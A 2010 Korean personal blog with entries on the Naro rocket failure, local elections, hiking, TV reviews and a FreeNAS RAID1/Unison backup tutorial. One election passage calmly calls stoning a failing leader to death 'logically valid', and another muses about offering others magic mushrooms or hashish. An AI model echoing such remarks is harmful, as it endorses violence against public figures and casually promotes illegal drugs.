나로호 발사 실패에 아무 유감없다. 기술과 경험은 시간이 매우 많이 걸리는 연구 개발 투자 없이 그런 식으로(사다 쓰는 식으로) 날로 먹을 수 없을 것이다. 1차 발사 실패 후 이 얘기 저 얘기 나로호와 연관된 얘기를 주워 들으면서 차라리 2차 발사가 실패했음 좋겠다고 발사 몇 분 전까지 전화로 푸념했다. 아울러, 나로호가 폭발하는 바람에 쎄트렉아이 주식으로 개죽쒔다.

나로호 3차 발사에 집착하지 말고 이명박이 깎은 KSLV-2  예산(700억->150억)이나 복구했으면 좋겠다. 150억 가지고 액체연료 분사계 실험이나 제대로 할 수 있을지 모르겠다. 150억이면 대학생들 장난감 중 하나인 cansat 정도는 꽤 날릴 수 있겠다. 사실 그쪽이 훨씬 보람찰 것 같다. 국산화했다는 위성체에 별 신뢰가 가지 않았다. 예전에 tv 프로그램에서 ccd 렌즈 경통부 주름 덮개 만들어 놓은 걸 자랑이랍시고 위성체 개발 연구원이 떠들어대는 것을 보고 한심한 생각이 들어서였고, 그 후에는 개발 위성체나 발사체가 그렇게 비쌀 이유가 대체 뭘까 하는 기술자로써의 의아함 때문이다. 마침 싼 값으로 로켓 개발하는 비법? 이란 기사를 봤다.

NASA가 달에 유인탐사하라고 보낸 아폴로 시리즈의 궤도 계산용 CPU보다 요새 밥통 MCU가 더 고사양이다. 밥통 MCU의 소매가격은 5$ 미만이고 아폴로 달 탐사선에서 사용한 CPU보다 수십~수백배 빠르다. 우주개발은 별 것도 없는 과학기술적 지식보다는 경험과 노하우를 쌓는 것이 우선인데, 솔직히 말하자면 우리나라는 항공우주산업에 접근하는 방식이 좀 기괴하게 느껴진다 -- 70~80년대나 통했음직한 관 주관의 성과없는 전시행정의 전형을 보는 듯한 기분이다.

靑 “‘4대강 기술’ 수출할 것” -- 목성에 친환경 운하 건설이라도 하나? 노무현 때 과학기술 예산에 박하게 굴더만, 이명박은 상상 그 이상을 보여주셨다. 기초 과학기술 육성과 과학기술 교육은 미래에 한국의 돈벌이 영역을 개척하거나 넓히자는 밑바탕을 만들기 위해 투자(?)하는 것이 아니다. 인간이 자기의 재량을 모두 사용하여 인간으로써의 가치와 존엄을 스스로에게 입증하고 만족하는 것을 독려하는데서 가치를 찾을 수 있는 사업이다. 과장하자면, 우주개발 사업은 삶의 질을 개선하는 '복지정책'이다.

http://www.youtube.com/v/gfYA4f-AIL0 -- JAXA의 열정이 담긴 하야부사가 대기권으로 진입하는 장면.  목성갔다 돌아온 탕아처럼, 껍데기는 다 타버리고 하나뿐인 양심만 남은 것처럼.

부럽다.

IT업계 회사 인근 치킨집의 위엄;;;;; --  딩동댕 닭 컴이란 상호로  치킨집 차릴까? 비주얼 치킨 스튜디오 같은 이름은 벌써 누군가 선점한 상태. 주문하면 code recipe를 보여주는 거야. 그러고보니 얼마 전에 김씨가 날더러 프로그래밍 업계에서 흔히 사용하는 recipe를 한국어로 번역하면 어떻게 되냐고 물었는데 뭐 늘 영어로만 쓰다보니 생각나는게 없었다. 일상적으로, 시니어에게 '어 이게 (코드) 레시피야' 라고 사용하는 말이라 조리법이나 비법이라고 하기도 뭣하고... 그러고 보면 code snippet도 자주 쓰는 말인데, 그건 조각 코드로 번역하면 될 것 같다.

만석공원
6월 2일. 투표를 마치고 아이는 여기 저기 돌아다니며 비눗방울 놀이를 하는 동안 공원에 누워 하늘을 쳐다봤다. 지방 선거 다음 이슈가 나로호 발사라고 생각했고, 나로호 발사를 서두를 땐 욕지기가 나왔다.

일은 많은데 되는 일은 없어서 한가하게 누워 있으면 괜히 빈정상한다. 저번 프로젝트는 '갑'이 하도 바보 같아서 사실상 절반은 실패했다고 보지만, 그래도 받을 돈은 다 받았고 사업을 거의 마무리 지었다. 갑 회사 직원들이 실패를 감추느라 전전긍긍하다가 아마도 사업 완료가 정상적으로 보고될 것이다. 세계 일류 기업이 기술력은 밑바닥 수준에 일 처리가 엉망이라 벌이와 상관없이 한심해 보였다.  괜히 함께 고생한 팀원들에게 미안할 뿐.

이런 저런 이유로 지치고 피곤한(과연?) 팀원들과 함께 1박 2일 코스로 속초에 MT를 다녀왔다. MT의 목적은 휴식; 바닷가에서 바베큐 파티하며 배불리 먹고 푹 쉬다 온다가 컨셉. 바다 바로 옆 팬션을 잡고 금요일 오후에 도착하자 마자 속초중앙시장에 들러 회, 매운탕꺼리, 조개, 성게, 산오징어, 구이용 생선, 새우 왕창, 기타 야채, 과일 등속을  사고 emart에서 술과 고기 등 다양한 안주꺼리를 샀다. 속초중앙시장에서 유명하다는 닭강정은 이미 산 것들이 너무 많아 할 수 없이 포기했다. 저녁부터 배불리 먹고 마시고 밤 늦게 해수욕장에서 첨벙거리며 헤엄치고 뛰놀다가 푹 잤다.

돌아오는 길에 구불구불한 강원도 산길을 돌고 돌아 정선에 도착해 5일장 구경을 하고 점심으로 한우 꽃등심을 삼겹살처럼 먹었다 -- 값비싼 한우 꽃등심을 저렴한 가격에 배가 터지도록 먹어본 것은 난생 처음이다.

다음 MT는 전주로 가야겠다. 일찍 출발해서 내장산 구경하다가  전주로 돌아와 막걸리와 가맥을 거나하게 먹고, 아침엔 콩나물 해장국을 먹고, 전주 한옥 마을에서 일 없이 빈둥거리다가 점심으로 시내에서  한정식이나 비빔밥을 먹고 돌아오면 괜찮을 듯. 실은 제주도가 딱인데 회사에서 경비 대줄 것 같지 않다. 그나저나 올해에는 휴가를 갈 수 있을까 모르겠다.

화성행궁 운한각
6월 13일. 아이를 데리고 화성행궁에 놀러갔다. 폐가처럼 뒤숭숭한 운한각. 왜 색깔을 안 입혔을까.  대형 할인점에서 장 보다가 아이를 잃어버렸다. 방송하고 찾았다. 딸애는 길을 잃어도 히죽히죽 웃으며 아빠를 잃어버렸다고 주윗 사람에게 말한다. 애가 어째 양 부모의 나쁜 점만 집적해 놓은 것 같다. 말 잘 듣는 착한 아이는 정말 집안의 보배일 것 같다.

자전거를 자주 탔다. 주말에 탈 시간이 없어 주중에 출퇴근하면서 탔다. 평속 22kmh 가량 나왔고 자전거가 좋아서인지 아니면 내 몸이 좋아져서인지 예전 같으면 45-50분 걸리던 거리를 35-40분에 주파해서 기분은 일단 좋았다. 출퇴근이 목적이 아니기 때문에 운동 하는 셈치고 퇴근길은 종종 멀리 돌아서 집에 돌아왔다. 비가 올듯 말듯한 어느 날, 황씨와 오랫만에 술을 마시다가 문득 내 체력이 정말 좋아진 건지 테스트 해 보고 싶어졌다.

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다음날 관악산으로 향했다. 정부과천청사역 관악산 입구. 등산로가 지나치게 정비가 잘 되어 있다. 과천 시민들이 여기서 연주대를 마실가듯 자주 오르기 때문일까? 하여튼 줄기차게 돌계단, 나무 계단이 이어져 있어 흙을 밟을 일이 없을 지경이었다.

연주암
연주암(이 맞을 듯). 마지막으로 등산한 것이 지난 2월. 오르막 길에서는 산타는 근육이나 자전거 타는 근육이나 매한가지라 비교적 쉽게 올라왔다. 과천정부청사역에서 연주암까지 약 1시간 걸렸다.

연주대
연주대가 보였다. 연주대 정상에서 파는 3천원 짜리 컵라면과 점심으로 들고온 김밥을 먹었다.

관음바위
관음바위. 조금 뒤로 팔봉 코스와 육봉 코스 갈림길이다. 관악산 코스 중에는 육봉, 팔봉이 제맛이지만 오늘은 테스트 드라이브 격이라 두 코스는 다음으로 미루었다.

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불성사에서 내려가는 길.

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계곡이 보여 멈춰서 발 담그고 멍하니 앉아 있었다. 매는 날아가고 시냇물은 흘렀다. 찌들은 일상에 상처받은 영혼을 치료했다.

안양예술공원까지 꾸역꾸역 걸었다. 4시간 동안 13km 걸었다. 1500kcal 쯤 소비했다. 같은 시간이라면 자전거 4시간 타는 쪽이 월등히 운동량이 크다. 집에 돌아오니 평소 안 쓰던 근육들, 특히 내리막길에서만 사용하는 근육들이 후끈후끈했다.

나혜석 기념 작품전
아이 데리고 나혜석 기념 작품전에 갔다. 대상 받은 작품. 젊은 나이에 SI 파견 근무 프로그래밍으로 개고생하다가 뇌일혈로 갑자기 쓰러진 시체같은데? 내가 심사위원이면 대상 줄 것 같지 않은 그림이다.

나혜석 기념 작품전
이런 그림이나...

나혜석 기념 작품전
나혜석 기념 작품전
이런 그림이 정서에 맞았다. 오만한 화가의 붓끝에서 시작된 봄. 이 그림의 제목이 blosom? bloom? 였던 것 같다. 미술관에 들르기 전에 딸애와 들판을 돌아다니다가 저 손에 들고 있는 보리를 땄다. 출품작 대부분에서 풋풋한 청년 냄새가 났다. 딸애는 작품 중 해바라기 그림을 좋아했다. 그러고보니 노땅들이나 아줌마 아저씨들 그림을 보면 어딘가 모르게 갑갑했다.

The Good Wife
The Good Wife. 포커페이스의 여주인공 변호사 아줌마.  재미있어서 시즌 1을 모두 봤다. 시즌2는 어쩐지 막장크리를 탈 것 같다.

Rampage
Rampage. 단순하고 자뻑나기 좋은 줄거리와 철학을 가지고 그저 그렇게 끝날 줄 알았는데 반전이 있었다. 뭐하는 감독인지 찾아봐야겠다.


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미에 모욕당하며...

잡기 2010. 6. 11. 09:31
그것을 뭐라 불러야 할지 모르겠지만(현실? 실재? 신체?), 진리에 배반당하고 이제는 미에 모욕당하면서 구차하게 살아가는 그놈을 그냥 우리의 '삶'이라 부르자 -- 진중권, '삶, 잔인하여라', 씨네21
2010 .6.8호. <-- 지방선거 끝나고 진중권이 맛이 간 걸까?

백악관 '기자실의 전설' 헬렌 토머스 구설수 -- 할머니가 옳은 말씀 하셨다. 탐욕과 이기심을 누그러뜨리는 서로에 대한 존중. 존중이 안되는 깡패국가가 존립해야 할 이유가 있을까? 팔레스타인에는 진리에 배반당하고 미에 모욕당하며 국제사회에 외면당하고 총 맞고 자빠지는 구차한 삶이 더럽게 많았다.

하토야마 사퇴 -- 역대 총리 증 오키나와 문제를 건드린 유일한 사람이 갖은 욕을 다 먹어가며 사퇴했다. 반 오자와라... 오자와가 하토야마를 마리오넷처럼 적당히 굴려먹으며 배후정치를 할 꺼라 생각했는데... 예상과 달리... 전개가 어쩐지 일본스러워... 일본이 민주국가라고?

6.2, 6+2 로또 결과는 처참했다; 찍은 후보 중 당선자는 교육감 뿐이다. 미에 모욕당하고 진리에 배반당하고 운에 외면당한 삶이라서 그럴까?

시민의 선택에 대한 평가: 교육감은 무상급식을 추진하던 후보를 뽑아놓고 교육의원은 그런 교육감의 엉덩이를 걷어찼던 교육의원을 뽑아 상생이 아닌 살생을 유도하며  낄낄 재미를 보는 것은 점잖은 시민이 할 짓 같아 보이지 않는다. 게다가 제 자식 교육에 목숨 걸듯 아둥바둥 매달리면서 한편으로 이율배반적인 투표를 하면 흡사 미친놈 같잖아? 아무리 생각이 없어 매직 넘버 1을 찍었어도 그렇지. 선관위와 정권이 합작한 조작 선거는 음모론이고 뭐고 할 것도 없이 너무 뻔해 보였다: 국민의 태반을 의식은 있는 좀비 투표 스탬퍼로 만들기.

그나저나 여/야를 막론하고 반대한다는 전자투표 하는 꼴을 내 생전에 볼 수 있을지 모르겠다. 지하철 역사 내에 있는 증명사진 발급기처럼 생긴 전자 투표기를 공공 장소에 설치해 장소의 제한을 완화해 부재자 투표를 없애고 시원스런 24"  3D LCD 창에서 동영상으로 후보 소개를 관람하고 즉석해서 터치 스크린으로 후보를 찍어 사표를 없애고, 투표 결과는 오후 6시 일괄적으로 개방한다. 엄청난 비용 절감, 사라지는 무효표, 즉시 결과 확인,  높아지는 투표율, 거기다가 중대선거구제를 도입하면 금상첨화겠다.
...
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여당과 야당이 합심해서 전자투표를 반대하는 이유가 십분 이해간다.

노회찬은 욕 먹고 심상정은 욕을 덜 먹는듯? 아니 노회찬도 욕 먹고 심상정도 욕 먹고. 욕을 덜 먹는 진보신당 당원 여러분들 욕을 누군가 해줘야 할 듯. 이번 지방선거 때 흡족한 성과를 올려 입이 찢어졌지만 특별히 내색은 안하는 민노당과 달리 진보신당은 이번에 제대로 작살났다(정치 못하니까 망하는 것은 당연했다.) 심상정의 후보 사퇴는 타이밍이 안 좋았고, 왜 했는지 모르겠다. 투표 며칠 앞두고 그제서야 민심을 숙고해서 결론낸 거라니, 닭대가리냐? 2-3주 전에 했으면 그나마 남한강 개발 저지하는 꼴을 흥미진진하게 구경할 수 있었을 지도 모르지만, 애초에 진보신당에 그걸 굳이 바란 적은 없었고 그래서 심상정을 비난할 이유가 없었다 하지만 진보신당 빠돌이들은 '내가 악당이 되어 죄악을 뒤집어 쓰고 세상에 다소 보탬이 되겠다. 나는 있는 욕, 없는 욕 다 처먹고 혼자 죽어 버리겠다'는 컨셉은 애당초 글러먹은 작자들 같다. 그보다는 그냥 '심심한데 우리 함께 쌍욕이나 실컷 하고 실컷 처먹어 보자'가 컨셉인 것 같다. 진리에 배반당하고 미에 능욕당하고 민중에게 외면당하는 구슬픈 팔자답달까?

일부는 도덕적 흠결을 두려워하고 정치적 타협을 매춘이라도 되는 양 호들갑을 떨며 결사적으로 반대하고 소녀시절의 낭만같은 지고의 순수성에 대한 일관된 태도를 자기 삶의 진지한 가치관으로 받아들인 것 같다. 진중권처럼 말빨이라도 있음 그나마 귀엽고 재밌지... , 말빨 하니까 생각난다. 환경생태주의와 인본주의, 자본주의의 대안으로써의 유럽식 사회주의를  수출 천억불 하고 다들 졸부로 살아가는 것보다 '나은 삶'이라고 이미 자기들 멋대로 결론 지었지만(절대다수의 '신념'은 여전히 돈벌이다 그게 그렇게 이해가 안 가나?), 설명은 지금껏 친절한 적이 없었고 머리통에 들은 것은 중증 자가중독 같은 이념과 신념 뿐 설득력있는 증빙 자료가 부족했을 뿐더러 대국민 사기극, 아니, 연출 역량은 밑바닥 수준이다. 하소연도, 협박도, 잔잔하고 처절한 실무적 희비극도, 손에 땀을 쥐는 엎치락뒤치락 미스테리 반전도 아닌, 어설프고 감상적인 호소의 그 찌질함을 주둥이만 살아 밤낮으로 똑같은 문구를 틀어놓는 대남선전처럼 나불나불 떠들어대니 짜증날 밖에. 왜 쥐떼를 몰고 다니는 피리 부는 아저씨가 못 되는가. 양심적이라서? 풋 그놈에 양심.

한 시간에 한 대 꼴로 차가 지나가는 한적한 시골의 건널목 건너편 등이 빨간색일 때 건너지 않은 것에 자부심을 느낄 뿐더러, 건너편에서 빨간불임에도 농부가 어기적 어기적 건너올 때 미동도 앉고 녹색불이 들어오길 기다리며 다소 시간이 걸리긴 하지만 제가 못배운 경상도 농부 #1보다는 도덕적으로 우월하다고 속으로 으쓱거릴 것 아니야? 술 먹고 옆자리에서 떠들어대는 자칭 진보 지향  작자들 태반이 정말 그렇게 말했다(노빠들에게  '바보' 노무현이 롤모델이듯). 자기들은 민주당도 아니고 민노당도 아니라고. 심하게 차별된다고. 그래서 시궁창에 발을 붙이고 발보다 높은 머리에 붙은 입으로 '정치공학'은 옳지 않다고, 타협은 구역질 난다고 말한다. 니들 취향인지 순수소녀 캔디 컨셉 맞춰 코스프레 하려고 정치하는게 아닌 것 같은데? 작금 생존경쟁의 처절함에 비춰 그 어느 때보다도 사회의 긴장과 스트레스를 완화해 줄 희생양, 말하자면 정.치.가.가 절실한 것 같은데? 민의가 그거 같은데? 진보신당 '진성 당원'은 그런거 안 바라지? 진보신당 골통 지지자가 그래서 수구골통과 차이가 별로 없어 보여 '진리와 미'에 농락당하면서 실컷 엿이나 처먹었으면 좋겠다. 농담이고,

생뚱맞은 심상정의 사퇴와 별개로 어울리지 않게 몇날 며칠 조합 가능한 수열을 생각했다. 진보신당의 자중지난 등의 우습고 기괴한 꼴에 진중권은 필리핀에 날아가서 비행강사나 하겠다는 의외로 찌질하고 울적한 글을 올리기도 했다(기운내 멍청아 그 동안 잘해왔잖아?). 심상정이 헛소리를 하지 않는다고 믿는다. 교감과 소통이 가능하며 미래가 있는 정치를 할 수 있는 자다. 비록 마누라하고 얼굴이나 웃는 생김새가 비슷해 지금껏 애써 외면해 왔는데 문득 생각해보니 심상정이 지도자감이잖아? 심상정 대통령 후보. 괜찮긴 한데 선거 홍보물이라고 갱지 한 장 달랑 들여 보내는 진보신당의 재정 상태나 인력 동원, 그리고 소위 실망이 이만 저만이 아닌 골통 당원들의 지랄을 보아하니 아무래도 글른 얘기같다. 민의의 적어도 4-5%는 그들을 지지한다. 그런데 그들이 못한 것이다. 정말 지지리도 못했다.이제 진보신당은 망하는 일만 남은 것 같다 -- 그런다고 나라가 망하는 것도 아니고 당신들 그 좋아하는 인본주의 정치 어디서 못해 먹을 것도 아니다. 하여튼 사요나라, 그 동안 땀 흘렸고싸웠고 울었고 수고했다. 다음을 노리자고 응? 그게 정치가가 지녀야 할 고귀한 희생의 미덕이다. 욕을 있는대로 처 먹는 것.

Human Target
한동안 즐겨본 미국 드라마. Human Target

Human Target
Human Target. 첫 화부터 시원스럽게 날려주셨다. CG가 아닌 것 같아 더 흡족하다. 게다가 예전 007류의  마초물이라 정이 간다.

Human Target
Human Target. 좌표만 보면 무의식적으로 구글어스 띄워서 줌인을 하는데... 어 여긴 진짜 볼리비아잖아? 이 드라마 대체 얼마나 돈을 쳐바른 거야? 더도 덜도 없이 5백만불?

사용자 삽입 이미지
NCIS. LA. 지나치다 싶을 정도로 전형적인 1화. 다소 실망.

명중주정아애니
명중주정아애니. 난생 처음 보는 대만 드라마. 로맨틱 코메디. 소프트 랜드 오프 없이  1화부터 화끈하게 밀어붙인다. 2-3화까지 보다가 말았다. 아무래도 핑크빛 신데렐라 판타지 순정만화 취향은 아니라서.

에반겔리온. 서.
에반겔리온. 서. You are (not) alone. 사골게리온 스럽다. 연출 백만번 바뀌어도, 스토리 백만번 개작해도 본질을 건드리지 않아 찌질 청소년 성장 실패담이란  컨셉은 바뀌지 않은 듯.

에반겔리온. 파
에반겔리온. 파. You Can (not) Advance. 할 일 없이 다운받아 비주얼이나 보았다. 사실 에반겔리온 TV 연속극 볼 때 유대 신비주의를 다루는 감독의 개그센스에 감동한 나머지 화면에 곧잘 뿜곤 했다.

Valhalla Rising
Valhalla Rising. 별 말 없이 죽고 죽이지만 정적인 하드코어 액션물. 후반부는 어떤 다큐 감독 영화 베낀 것 같아서 불편했다.

micmacs
micmacs. 내용 별 것 없고 캐릭터 그저 그렇고 심지어 재미도 없는 프랑스 영화.

riverworld
riverworld. 3부작 SF. 조악한 품질. 트루 블러드던가? 역설적인 제목이었다. 괜찮은 SF가 없어 저질 피를 마시며 근근히 생존해 있는 것 같은 처참함을 느낀다.


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지방선거

잡기 2010. 5. 29. 15:03
정운찬 "인터넷 보급이 한국 문화 수준 떨어뜨려" -- 책 많이 읽고 또라이가 된 케이스.아이들 사이에서는 유인촌(과일촌)과 더불어 국격을 떨어뜨리는 대표 주자로 매우 인기를 끌고 있다.

기회가 찾아왔다. 5/28 오전 강남 롯데 백화점에서 168만원이 결재되었다며 상담원과 통화하고 싶으면 9번을 누르란다. 기뻐서 9번을 연달아 눌렀다. 상담원이 연결되어 내 이름을 물었다. 김조식이요. 고객님 방금 168만원 인출된 사실을 아십니까? 라고 어눌한 연변 억양으로 묻는다. 넵 물론이죠. 정말 알아요? 넵 전화로 알려주신 것처럼 인터넷으로 확인해보니 강남 롯데 백화점에서 168만원이 정말로 결제되었는데요, 그거 취... 뚜뚜뚜... 그냥 끊어버렸다. 다음에 다시 피싱 전화올 때를 대비해 괜찮은 시나리오를 생각해둬야겠다. 놀릴 생각만 했지 갑작스런 행운에 흥분한 나머지 등쳐먹을 생각을 미처 하지 못했다.

5/24 노무현 전 대통령 1주기 추도식장에 갔다. 감기 걸린 애를 데리고 대한문까진 가지 못하겠고, 전날 대충 뒤져보니 수원역에도 추도식장을 만들어 놓았단다. 수원역 앞 육교에는 노란 리본이 줄줄이 걸려 있고, 아스팔트 너머 광장 한복판에서 노무현 다큐멘터리가 상영되고 있었다. 한산한 자리에서 추도를 하고 자리를 뜨려니 노무현 전대통령의 커리컬쳐가 그려진 뱃지와 돌돌 말은 노무현 사진을 준다. 시장에서 장보고(알아보는 사람들이 웃었다) 집에 들고 갔다. 다음 날 아내가 노무현 사진을  냉장고에 붙여 놓았다.

노무현 전대통령에게 별 감정이 없어 그가 죽어 슬프다거나, 그의 빈 자리 때문에 가슴 한 켠이 스산하다거나 먹먹하다고 느낀 적은 없었다. 설령 실패와 좌절을 겪었어도 제정신이 박힌 대통령에 대해 예우를 갖췄다. 또는 실력자나 프로페셔널, 일가를 이룬 도인에 걸맞는 경의를 표했다. 내가 그에게 느끼는 존경과 달리 세간의 평은 매우 안 좋았다.

변심한 떨거지들이 이제와서 노무현이 그립다고 말하거나, 부동산 정책이 노무현 실정이라는 얘길 들으면 늘 가소로웠다. 그게 당신 욕심 때문이지 왜 정권 탓을 하고 지랄이야. 결국 뜻대로 수도 이전 안 했고, 경제 살려줄 놈을 뽑았잖아. 이명박 당선된 날, 그를 뽑은 사람들이 앞으로 내가 함께 살아야 할 사람들이라고 생각했다. 내 한 몸 건사하기도 바쁜데 내가 무슨 재주로 그들의 생각을 바꿀 수 있겠나.

그건 그렇고, 잘 하지 못하거나, 그래서 우등생이 안된 것은 이해가 가지만, 신념을 가진 또라이가 그에 걸맞는 굉장한 실적을 한 껀 두 껀 쌓아가면서 전혀 반성의 기미를 보이지 않는다면 시민의 고통의 총합을 감안하여 광장에서 돌로 쳐 죽이는 것이 논리적으로 타당하다고 별 감정없이 생각한다.

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2010/5/26 모처럼 새파란 하늘을 보았다. 이런 날씨는 13년 만에 처음이란다. 파란색을 보니 한나라당이 생각난다. 한나라당은  '한국인은 두들겨 패야 말을 듣는다'고 생각하는 천박한 졸부들이 자신의 권익을 보호하기 위해 열성적으로 유지하는 정당이다(그들이 보수라는 헛소리도 심심찮게 들리지만 그냥 자신의 이익에 충실한 이해집단 정도로 이해하면 쉬울 듯)  매우 거지같은 삶을 찌질하게 이어가는 서민계층과 노인네와 젊은이들이 파란색을 지지하기도 한다. 천안함을 격침한 어뢰에는 파란 매직으로 '1번'이라고 적혀 있었다. 이번 선거에서 무조건 1번 찍으란 것이다.  6.2 지방선거는 누구 말마따나 건국 이래 가장 찌질한 선거전이 되었다.

유시민
그런데 파란색 시민은 예전에 유시민이 말한 것처럼 주적이 아니다.

원스톱 쇼핑 가이드: 4개 후보군에서 병역필자, 세금 체납이 없는 자, 노동 운동 등을 제외한 전과가 없는 자들을 재산이 적은 순으로 정렬하면 흡사 마법처럼 한나라당 후보들은 아웃오브안중 안드로메다로 밀려난다. 그 다음엔 공약을 비교해서 내게 가장 이익이 되는 후보를 선택하면 된다. 경기도에서 교육감은 김상곤 외에 별다른 선택의 여지가 없고 교육의원 후보는 아까 조건에 전교조 가입 여부를 끼워넣고, 비례 대표는 '정서적으로' 살인범(딴나라)과 강간범(민주)은 제외하면 쉽게 해결된다.

에너지 보존 법칙(law of conservation)을 신봉하는 공돌이라 매우 보수적(conservative)인데도 그렇게 8개 후보를 솎아내니 졸지에 좌빨 진보가 되었다. 요즘 시중에 횡행하는 말들:

백욕이 불여일표
삽질지옥 투표천당
브이 포 벤데타 -- 독재자의 승리에 필요한 단 한 가지는 국민이 아무 것도 하지 않는 것이다.

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일일 전투에 지친 노구를 이끌고 집에 돌아오면 아내가 꼬리치고 문밖으로 마중나오고, 씻을 동안 맥주 안주를 준비해 놓는다? 세계적인 추세는 그 방향과는 거리가 멀었고, 설사 아내가 만들어 주려고 해도 적극 말릴 것이다. 그래서 저녁이면 간식꺼리를 손수 만들어 먹었다. 오늘은 금요일이라 샌드위치나 국수 대신 맥주 안주를 만들었다.

지랄맞게 요동치는 최근 환율로 걱정이 태산같은 기러기 아빠가 텅빈 집에 돌아와 빈 속을 채우려고 라면을 끓이고 밥상에 얹어, 내어, 거실에서 TV를 보며 한 젓갈 들다가, 문득 자기가 뭐하는 짓인가 싶어 상을 뒤집어 엎고 흘러가는 방송 곁에 한참 멍하니 앉아 있다가 생각난 듯이 꼬불 라면이 국물 뒤범벅으로 어지럽게 널린 방바닥을 걸레를 들고와 주섬주섬 미는 어떤 영화가 생각났다. 여자가 없으면 분리불안 및 우울 증세를 보이는 성인 수컷은 의외로 꽤 있는 것 같다.

때때로 그들에게 매직 머시룸이나 하시시를 권해 어떻게 아가 우주와 연결되어 있는가를 이성의 도움없이 그 양태와 진행을 경험하길 권하고 싶다. 역치를 일찌감치 초과하는 시냅스 과입력이 유발하는 폭발적인 샴발라 썬을 맛 보았으면도 싶긴 하지만 내 문제가 아닌데다, 어린 시절에 일찌감치 인적이 닿지 않는 오솔길을 걷게 된 탓에 타인과 교감하는 부분이 꽤 다르다는 것을 알았다. 결국 나는 타인을 구원하기엔 적합치 않다.

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FreeNAS RAID, Unison setup

잡기 2010. 5. 24. 20:43
인터넷 뒤져봐도 FreeNAS의 RAID 구성 방법이나 사고 대처 방안, unison 셋업 방법이 잘 나오지 않는다. 할 수 없이 삽질했다. 다음에 다시 셋업할 경우를 대비해 기록을 남긴다.

목적: FreeNAS 로 RAID 1(mirroring)을 구현한다. 이때 HDD 2개로 mirroring을 하면 한쪽 HDD가 망가지더라도 HDD 내용을 날리지는 않는데, 모종의 천재지변(번개를 맞는다던가...)으로 2개의 HDD가 동시에 fail이 나면 대책이 없다. 이런 경우를 방지하기 위해 원격 사이트에 똑같은 형태의 backup server를 구축해 놓고 인터넷으로 두 서버를 mirroring한다. 시스템 구성 예:

사용자 삽입 이미지
FreeNAS는 rsync와 unison을 동시에 지원하는데, rsync는 단방향 sync지만 unison은 양방향 sync가 가능하다. 2개의 시스템 사이의 단방향 백업은 rsync server 및 rsync client를 구축하는 것으로 간단하게 해결된다. rsync는 단순 백업을 할 때 사용하면 되고, 원격 서버와 작업 서버 사이에서 동시에 변경이 일어날 경우에는 unison 외에 답이 없다.

RAID1과 unison을 사용해서 얻을 수 있는 이익: 양쪽 서버에서 동일 컨텐츠에 대해 3중 백업 구현.

FreeNAS의 장점


  • 싸다.
  • 내 맘대로 삽질해서 꾸밀 수 있다.

FreeNAS 시스템 구성


FreeNAS는 0.7.1 버전 사용(이번 여름에 0.8이 나올 것 같다). 놀고 있는 Main board, CPU 등 가용 자원을 그러모아 대충 구성. HDD 만큼은 새로 구입. 값싸고 전기 덜먹고 소음이 적은 Western Digital의 Cavier Green 1T HDD를 지원하므로 그걸 사용하면 좋을 듯. 부팅 디바이스는 USB Memory를 사용.  USB Memory는 128MB 정도면 아무거나 충분히 가능. FreeNAS 셋업 방법은 인터넷에 널려 있으므로 그쪽 참조.

System->General

Time zone: Asia/Seoul
Enable NTP: check use the specified NTP Server
NTP time server: time.windows.com
Time update interval: 60

NTP 서버를 사용해야 시스템 시간을 정확히 맞출 수 있음. windows 역시 NTP를 사용하도록 구성.

RAID1 구성


Disks->Management->Add(+)

Hard disk standby time: 5minutes
Advanced PowerManagement: Level 1 - Minimu power usage with Standby (spindown)
S.M.A.R.T: check. Activate SMART monitoring for this device
Preformatted file system: Software RAID

* 2개의 HDD 를 동일하게 셋업. 전기세 절약을 위한 옵션도 함께 추가. HDD는 대개 15w 미만의 전력을 사용하는데, 전기세를 정말 절약하고 싶으면 CPU가 전기를 덜 먹는 걸 사용하고, System->Advanced의 Power Daemon을 enable하는게 낫다. 편의상 이때 추가된 HDD device를 첫번째 HDD를 ad6, 두번째 HDD를 ad7으로 칭함.

Disks->Software RAID->RAID1

raid name: raid
Type: RAID 1 (mirroring)
Balance algorithm: Round-robin read
Provider: ad6, ad7 을 ctrl-click으로 둘 다 선택

* Balance algorithm은 현재로썬 rount-robin read가 성능이 가장 좋다고 함.  

 Disks->Format

Disk: raid
File System: UFS (GPT & soft updates)

* ZFS가 여러 모로 좋지만, ZFS를 사용하면 시스템 자원을 많이 먹고 전송 퍼포먼스가 떨어진다는 얘기가 있음. UFS도 충분히 좋으므로 그걸 사용.

Disks->Mount Point->Management

Type: Disk
Disk: raid
Partition Type: GPT partition
Partition number: 1
File system: UFS
Mount point name: raid (이렇게 하면 마운트되는 지점은 /mnt/raid 가 된다)
Description: 아무거나 써줌

사용자 추가, 디렉토리 설정

편의상 /mnt/raid/share를 동기화할 디렉토리로, /mnt/raid/user/natas를 작업자 디렉토리로 간주. 사용자 계정을 추가하는 것은 SSH shell로 들어가 작업해야 하기 때문. 아무튼 사용자 계정이 있어야 여러 모로 편리.

Access->Users and Groups->Add(+)

Name: natas
...
Shell: bash
Primary group: admin
Home directory: /mnt/raid/user/natas/
User portal: check Grant access to the user portal.

서비스 설정


Services->CIFS/SMB (Enable)

Authentication: Local User (XP에서는 문제 생길 수 있으므로 anonymous로 할 수도...)
NetBIOS Name: NatasNAS (이름은 아무거나. windows의 컴퓨터 이름으로 나타남)
Workgroup: WORKGROUP (XP의 default workgroup이 WORKGROUP)
Time server: Yes
...
Large read/write: check enable
Use sendfile: check
* use sendfile 및 large read/write는 전송 속도 향상을 위한 파라미터. 전송속도를 향상시키기 위해 System->Advanced->Tuning을 enable 시킴. MTU 변경 역시 전송에 유리하나, LAN Card에 따라 지원하지 않는 것도 있음.

Services->Secure Shell (Enable)


* Unison, Rsync 등을 사용하려면 SSH가 구성되어 있어야 한다.

Password authentication: check Enable...
TCP forwarding: check permit
Compression: check Enable

Services->Unison (Enable)

Working directory: /mnt/raid/.unison/
check Create work directory if it doesn't exist

Services->Dynamic DNS


* 인터넷을 통해 원격지의 backup server를 구성하려면 양쪽 서버 모두 Dynamic DNS 구성을 하는 것이 바람직.

Unison Setup


SSH로 main server(192.168.123.199) 및 backup server (192.168.123.100) 에 로긴 가능한지 확인. unison은 main server에서 돌리는 것으로 가정, 동기화할 디렉토리는 /mnt/raid/share라고 가정하고 진행.

디렉토리 생성

$ mkdir -p /mnt/raid/user/natas
$ mkdir -p /mnt/raid/share

백업 스크립트 생성 (/mnt/raid/user/natas/backup)

$ cat >/mnt/raid/user/natas/backup
#!/bin/sh
export HOME=/mnt/raid/
/usr/local/bin/unison -batch -silent /mnt/raid/share  ssh://192.168.123.100//mnt/raid/share 2>&1
^D
